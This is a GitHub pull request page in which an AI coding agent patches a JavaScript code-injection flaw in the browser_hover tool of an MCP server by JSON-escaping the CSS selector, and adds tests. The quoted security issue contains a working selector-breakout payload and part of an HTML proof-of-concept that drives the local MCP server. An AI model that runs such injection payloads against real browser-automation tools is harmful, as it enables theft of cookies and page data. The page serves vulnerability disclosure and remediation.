Skip to content

Fix JS code injection in browser_hover via selector escaping (CWE-94)#45

Merged
cfc4n merged 3 commits intomasterfrom
copilot/fix-code-injection-vulnerability
Mar 15, 2026
Merged

Fix JS code injection in browser_hover via selector escaping (CWE-94)#45
cfc4n merged 3 commits intomasterfrom
copilot/fix-code-injection-vulnerability

Conversation

Copy link
Copy Markdown
Contributor

Copilot AI commented Mar 15, 2026

handleHover concatenated the caller-supplied selector directly into a chromedp.Evaluate JS string, allowing single-quote breakout to execute arbitrary JavaScript in the chromedp-controlled browser — enabling theft of cookies, localStorage, and DOM content.

Root cause (browser.go)

  • Before: raw string concatenation into a single-quoted JS context
    chromedp.Evaluate(`document.querySelector('`+selector+`').dispatchEvent(new Event('mouseover'))`, &res)
    // selector = "body'),document.title='PWNED',document.querySelector('body"  → executes injected JS
  • After: json.Marshal encodes the selector as a double-quoted, fully-escaped JS string literal; single quotes, semicolons, and other breakout characters are inert inside it
    selectorJSON, _ := json.Marshal(selector)
    chromedp.Evaluate(`document.querySelector(`+string(selectorJSON)+`).dispatchEvent(new Event('mouseover'))`, &res)
    encoding/json was already imported; no new dependencies.

Tests (browser_test.go)

  • Added TestHoverSelectorEscaping covering: normal selector, comma-operator injection ('PWNED'), IIFE-with-semicolons injection, and double-quote escaping — each asserting the JSON-encoded value is always a self-contained double-quoted string with no executable breakout.
Original prompt

This section details on the original issue you should resolve

<issue_title>Security Vulnerability: Code Injection</issue_title>
<issue_description>This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

browser.go:435 directly interpolates selector into a JavaScript string. By crafting
selector = "body'); (function(){ /* exfiltration code */ })(); document.querySelector('body"
the entire expression remains syntactically valid while the injected code is executed.

Impact | Arbitrary JavaScript execution in any page opened by the browser controlled via chromedp, allowing theft of cookies, localStorage, and form contents.

POC

<!DOCTYPE html>
<!--
  PoC gojue/moling#4 (Simple) — browser_hover JS Injection
  =============================================
  Vulnerable code (browser.go:435):
    chromedp.Evaluate(
        `document.querySelector('` + selector + `').dispatchEvent(new Event('mouseover'))`,
        &res,
    )

  Injection uses the comma operator (single expression, no semicolons):
    selector = "body'),document.title='PWNED',document.querySelector('body"

  After template expansion:
    document.querySelector('body')
    ,document.title='PWNED'         ← injected: changes page title
    ,document.querySelector('body').dispatchEvent(new Event('mouseover'))

  Comma operator evaluates each sub-expression left-to-right, returns the last.
  dispatchEvent returns true (bool) → matches chromedp's &res bool → no type error.

  NOTE: Chrome may take 15-30s to start on the first call.
        All browser timeouts are set to 35s to accommodate this.
-->
<html>
<head><meta charset="utf-8"><title>PoC gojue/moling#4 Simple - browser_hover JS Injection</title>
<style>
  body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
  pre  { background: gojue/moling#10409; border: 1px solid #30363d; padding: 14px;
         border-radius: 6px; white-space: pre-wrap; min-height: 80px; }
  .ok   { color: #3fb950; } .err  { color: #ff7b72; }
  .info { color: #79c0ff; } .warn { color: #d29922; } .cmd { color: #e3b341; }
  .dim  { color: #8b949e; }
  button { background:#21262d; color:#c9d1d9; border:1px solid #30363d;
           padding:6px 16px; border-radius:6px; cursor:pointer; font-family:monospace; }
  button:hover { background:#30363d; }
  #btn { border-color:#f0883e; color:#f0883e; }
</style>
</head>
<body>
<h2>PoC gojue/moling#4 (Simple) — browser_hover JS Injection</h2>
<p style="color:#8b949e;font-size:13px">
  <code>browser.go:435</code> — selector concatenated into JS with no escaping
  &nbsp;|&nbsp; CWE-79 / Arbitrary JS Execution
</p>
<div style="margin:10px 0">
  <button id="btn" onclick="startPoC()">▶ Run PoC</button>
  <button onclick="document.getElementById('out').innerHTML=''">Clear</button>
  <span style="color:#8b949e;font-size:12px;margin-left:12px">
    ⚠ Chrome may take 15-30s to start — please wait
  </span>
</div>
<pre id="out">Click "Run PoC" to start...</pre>

<script>
const out = document.getElementById('out');
function log(s, cls='') {
  const e = document.createElement('span');
  e.className = cls; e.textContent = s + '\n';
  out.appendChild(e); out.scrollTop = out.scrollHeight;
}

const TARGET = 'http://127.0.0.1:6789';
let es = null, msgUrl = null, reqId = 0;
const pending = {};

// Browser tool calls need long timeouts — Chrome cold start can take 20s+
const BROWSER_TIMEOUT = 35000;
const FAST_TIMEOUT    = 5000;

function post(method, params, timeoutMs) {
  const id = ++reqId;
  fetch(msgUrl, {
    method: 'POST', mode: 'no-cors',
    headers: { 'Content-Type': 'text/plain' },
    body: JSON.stringify({ jsonrpc:'2.0', method, params, id })
  }).catch(() => {});
  return new Promise(resolve => {
    pending[id] = resolve;
    setTimeout(() => {
      if (pending[id]) { delete pending[id]; resolve(null); }
    }, timeoutMs || FAST_TIMEOUT);
  });
}

function startPoC() {
  if (es) { es.close(); es = null; }
  out.innerHTML = '';
  msgUrl = null; reqId = 0;

  log('=== PoC gojue/moling#4: browser_hover JS Injection ===\n');
  log('[*] Connecting to SSE...', 'dim');

  es = new EventSource(TARGET + '/sse');
  es.onerror = () => { if (!msgUrl) log('[-] SSE failed — is moling running on 127.0.0.1:6789?', 'err'); };

  es.addEventListener('endpoint', async (e) => {
    msgUrl = e.data.trim();
    log('[+] Session: ' + msgUrl, 'ok');

    es.addEventListener('message', (ev) => {
      try {
        const r = JSON.parse(ev.data);
        if (pending[r.id]) { pending[r.id](r); delete pending[r.id]; }
      } catch(_) {}
    });

    await runAttack();
  });
}

async function runAttack() {

  // ── Handshake ──────────────────────────────────────────────────
  log('\n[*] MCP handshake...', 'dim');
  const init = await post('initialize', {
    protocolVersion: '2024-11-05', capabilities: {...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes gojue/moling#44

<!-- START COPILOT CODING AGENT TIPS -->
---

💬 Send tasks to Copilot coding agent from [Slack](https://gh.io/cca-slack-docs) and [Teams](https://gh.io/cca-teams-docs) to turn conversations into code. Copilot posts an update in your thread when it's finished.

…ctor

Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>
Copilot AI changed the title [WIP] [gojue/moling#4] Fix security vulnerability: code injection Fix JS code injection in browser_hover via json.Marshal selector escaping Mar 15, 2026
Copilot AI requested a review from cfc4n March 15, 2026 08:21
Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>
Copilot AI changed the title Fix JS code injection in browser_hover via json.Marshal selector escaping Fix JS code injection in browser_hover via selector escaping (CWE-94) Mar 15, 2026
Copy link
Copy Markdown
Member

@cfc4n cfc4n left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@dosubot dosubot bot added the lgtm This PR has been approved by a maintainer label Mar 15, 2026
@cfc4n cfc4n marked this pull request as ready for review March 15, 2026 08:55
Copilot AI review requested due to automatic review settings March 15, 2026 08:56
@dosubot dosubot bot added the size:M This PR changes 30-99 lines, ignoring generated files. label Mar 15, 2026
@cfc4n cfc4n merged commit d2310a5 into master Mar 15, 2026
6 checks passed
@dosubot dosubot bot added the bug Something isn't working label Mar 15, 2026
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR hardens the browser hover tool implementation by safely embedding the user-provided CSS selector into the evaluated JavaScript to prevent selector-based JS injection.

Changes:

  • JSON-encode the CSS selector before inserting it into the chromedp.Evaluate JS expression for browser_hover.
  • Add a unit test intended to validate selector escaping behavior.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File Description
pkg/services/browser/browser.go Escapes the selector via JSON encoding before building the hover JS expression.
pkg/services/browser/browser_test.go Adds a test for selector JSON-encoding / JS string construction behavior.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

You can also share your feedback on Copilot code review. Take the survey.

Comment on lines +86 to +91
selectorJSON, err := json.Marshal(tc.selector)
if err != nil {
t.Fatalf("json.Marshal failed: %v", err)
}
js := `document.querySelector(` + string(selectorJSON) + `).dispatchEvent(new Event('mouseover'))`

@cfc4n cfc4n deleted the copilot/fix-code-injection-vulnerability branch March 15, 2026 10:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working lgtm This PR has been approved by a maintainer size:M This PR changes 30-99 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants